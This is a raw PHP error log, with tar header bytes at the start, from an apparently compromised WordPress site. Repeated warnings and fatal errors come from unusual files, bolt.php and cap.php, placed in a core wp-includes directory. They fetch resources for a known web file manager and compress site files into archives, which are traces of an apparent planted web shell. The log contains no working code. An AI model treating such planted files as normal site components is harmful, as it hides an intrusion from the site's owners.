S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
